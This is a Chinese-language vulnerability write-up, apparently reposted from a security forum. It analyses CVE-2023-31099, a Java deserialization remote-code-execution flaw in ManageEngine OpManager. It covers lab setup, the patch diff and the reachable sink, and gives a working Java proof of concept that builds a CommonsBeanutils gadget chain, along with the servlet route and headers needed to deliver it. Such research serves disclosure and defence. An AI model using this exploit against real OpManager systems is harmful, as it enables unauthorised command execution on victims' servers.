Zoho ManageEngine Opmanager 反序列化RCE(CVE-2023-31099)
2023-12-29 17:4:7 Author: xz.aliyun.com(查看原文) 阅读量:27 收藏

整理今年的笔记看到这个洞,搜了一下网上好像没公开细节就发出来水一篇。

环境搭建

下载地址: https://archives3.manageengine.com/opmanager/126323/
下载central和probe,安装central之后复制key,再安装probe并指定central地址

调式:修改wrapper.conf
wrapper.java.additional.17=-Xdebug
wrapper.java.additional.18=-Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=7007

漏洞分析

对比diff找到关键点

OpManagerDistribution.jar!\com\me\opmanager\extranet\remote\communication\fw\DataObject#getObjectData中反序列化操作替换成ITOMObjectInputStream,通过设置白名单的方式进行修复。

public Object getObjectData() {
        if (!this.isDataEncrypted && this.object != null) {
            return this.object;
        } else {
            ByteArrayInputStream bais = null;
            ObjectInputStream ois = null;
            if (this.data != null) {
                try {
                    byte[] decompressedData = null;
                    byte[] decompressedData;
                    if (this.isDataEncrypted) {
                        decompressedData = EEFrameworkUtil.decryptDataObject(this.data);
                        decompressedData = NmsUtil.decompress(decompressedData);
                    } else {
                        decompressedData = NmsUtil.decompress(this.data);
                    }
                    bais = new ByteArrayInputStream(decompressedData);
                    ois = new ObjectInputStream(bais);
                    this.object = ois.readObject();
                } catch (InvalidClassException var14) {
                    this.object = this.getUncheckedUIDData(this.data);
                } catch (Exception var15) {
                    var15.printStackTrace();
                } finally {
                    try {
                        if (ois != null) {
                            ois.close();
                        }
                        if (bais != null) {
                            bais.close();
                        }
                    } catch (Exception var13) {
                        var13.printStackTrace();
                    }
                }
            }
            return this.object;
        }
    }

sink点在该类的data字段,如果该字段可控就能实现RCE。
通过调用该类的setter方法设置this.data字段,然后再调用getObjectData就能触发RCE,但是并未找到。

后面熟悉了下功能后,该类应该是用于probe向central传输消息的,所以应该是传输消息过程反序列化DataObject类之后再调用getObjectData方法,最后触发RCE,根据这个思路找到了可直接发送发序列化数据的source点com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener,相关代码如下

发现刚好设置了com.me.opmanager.extranet.remote.communication.fw.DataObject的白名单,继续跟进SPPRegionalCommBE的transferDataToNOC方法:

最终某个分支会调用dataObject.getObjectData()方法触发反序列化,需要满足以下条件:

  1. NotificationType值为24并且DataPriority值为0
  2. userProps字段种需要存放一个key为regReqID的数据

这些值都来自dataObject类的字段,可控。

poc如下

public class cve_2023_31099 {
    public static void main(String[] args) throws Exception {
        DataObject obj = new DataObject();
        int notificationType = 24;
        setField(obj,"notificationType",notificationType);
        int dataPriority = 0;
        setField(obj,"dataPriority",dataPriority);
        Properties userProps = new Properties();
        userProps.put("regReqID","qwe");
        setField(obj, "userProps",userProps);
        Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("CommonsBeanutilsNOCC");
        ObjectPayload payload = (ObjectPayload)payloadClass.newInstance();
        Object object = payload.getObject("cmd /c echo 1 > c:\\1.txt");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.flush();
        byte[] bytes = baos.toByteArray();
        byte[] datas =  NmsUtil.compress(bytes);
        setField(obj, "data", datas);
        obj.getObjectData();
        FileOutputStream fos = new FileOutputStream("1.ser");
        ObjectOutputStream foos = new ObjectOutputStream(fos);
        foos.writeObject(obj);
    }
}

根据web.xml定位到路由为/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.RegionalListener,这里无需opmanager-central的Cookie,但是需要提供三个Header头

  1. authkey: 安装probe时用的key
  2. regionID: probe名称
  3. method: 请求方法,这里是POST

漏洞复现


文章来源: https://xz.aliyun.com/t/13216
如有侵权请联系:admin#unsafe.sh